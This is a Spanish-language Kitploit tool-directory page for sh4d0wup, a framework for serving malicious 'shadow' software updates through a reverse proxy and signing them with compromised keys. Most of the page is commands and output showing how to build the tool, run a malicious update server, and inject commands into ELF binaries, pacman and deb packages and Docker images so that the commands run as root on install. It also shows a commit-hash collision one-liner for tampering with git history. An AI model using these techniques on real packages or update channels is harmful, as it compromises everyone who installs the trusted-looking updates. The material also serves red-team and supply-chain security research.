Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
sh4d0wup — Marco de abuso de claves de firma y explotación de actualizaciones | Kitploit
Herramientas/GitHubGitHub/kpcyrd/sh4d0wup
ExplotaciónPruebas de PenetraciónComando y ControlSeguridad de Cadena de SuministroRed TeamingDesarrollo de Payloads
GitHubkpcyrd/sh4d0wup

sh4d0wup

Marco de abuso de claves de firma y explotación de actualizaciones

Ver Repositorio
13113hace 17 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

sh4d0wup

root@kitploit:~
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Iniciar un servidor de actualizaciones malicioso
  front        Vincular un servidor http/https pero reenviar todo sin modificar
  infect       Manipulación de alto nivel, inyectar comandos adicionales en un paquete
  tamper       Manipulación de bajo nivel, parchear una base de datos de paquetes para agregar paquetes maliciosos, provocar actualizaciones o influir en la resolución de dependencias
  keygen       Generar claves de firma con los parámetros dados
  sign         Usar claves de firma para generar firmas
  hsm          Interactuar con claves de firma de hardware
  build        Compilar un ataque basado en un plot
  check        Verificar si el plot aún puede ejecutarse correctamente contra la imagen configurada
  req          Emular una solicitud http para probar el enrutamiento y los selectores
  completions  Generar completaciones de shell
  help         Imprimir este mensaje o la ayuda del subcomando dado

Options:
  -v, --verbose...  Aumentar la salida de registro (se puede usar varias veces)
  -q, --quiet...    Reducir la salida de registro (se puede usar varias veces)
  -h, --help        Imprimir información de ayuda
  -V, --version     Imprimir información de versión

👻 ¿Qué son las actualizaciones sombra?

¿Alguna vez te has preguntado si la actualización que descargaste es la misma que todos los demás obtienen o recibiste una diferente hecha especialmente para ti? Las actualizaciones sombra son actualizaciones que oficialmente no existen pero llevan firmas válidas y serían aceptadas por los clientes como genuinas. Esto puede suceder si la clave de firma es comprometida por hackers o si un ingeniero de lanzamiento con acceso legítimo se vuelve turbio.

sh4d0wup es un servidor de actualizaciones http/https malicioso que actúa como un proxy inverso frente a un servidor legítimo y puede infectar y firmar varios formatos de artefactos. Los ataques se configuran en plots que describen cómo funciona el enrutamiento de solicitudes http, cómo se parchean/generan los artefactos, cómo deben firmarse y con qué clave. Una ruta puede tener selectores para que coincida solo si, por ejemplo, el user-agent coincide con un patrón o si el cliente se conecta desde una dirección IP específica. Para desarrollo y pruebas, se pueden generar claves/certificados de firma simulados y marcarlos como de confianza.

🏗️ Construyendo el ejecutable sh4d0wup

Hay un binario precompilado en el repositorio [extra] de Arch Linux. Para construir el binario desde el código fuente en un sistema basado en Debian usa esto (probado con ubuntu 22.04):

root@kitploit:~
apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 Compilar un plot

Algunos plots son más complejos de preparar que otros. Para evitar un tiempo de inicio prolongado debido a descargas y parches de artefactos, puedes construir un plot con anticipación. Esto también permite crear firmas por adelantado.

root@kitploit:~
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 Ejecutar un plot

Esto inicia un servidor de actualizaciones http malicioso de acuerdo al plot. También acepta archivos yaml pero pueden tardar más en iniciar.

root@kitploit:~
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

Puedes encontrar ejemplos aquí:

  • contrib/plot-archlinux.yaml
  • contrib/plot-debian.yaml
  • contrib/plot-rustup.yaml
  • contrib/plot-curl-sh.yaml

🪄 Infectar un artefacto

  • sh4d0wup infect elf
  • sh4d0wup infect pacman
  • sh4d0wup infect deb
  • sh4d0wup infect oci

sh4d0wup infect elf

root@kitploit:~
% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

root@kitploit:~
% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

root@kitploit:~
% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

root@kitploit:~
% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop)  CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world

Colisiones parciales de commits de git por fuerza bruta

Aquí hay un breve oneliner sobre cómo tomar el último commit de un repositorio git, enviarlo a una computadora remota que tenga sh4d0wup instalado para modificarlo hasta que el id del commit comience con el --collision-prefix proporcionado y luego insertar el nuevo commit de vuelta en el repositorio en tu computadora local:

root@kitploit:~
% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

Esto puede llevar algún tiempo, eventualmente muestra un id de commit que puedes usar para crear una nueva rama:

root@kitploit:~
git show 777754fde8...
git branch some-name 777754fde8...
Descargar herramienta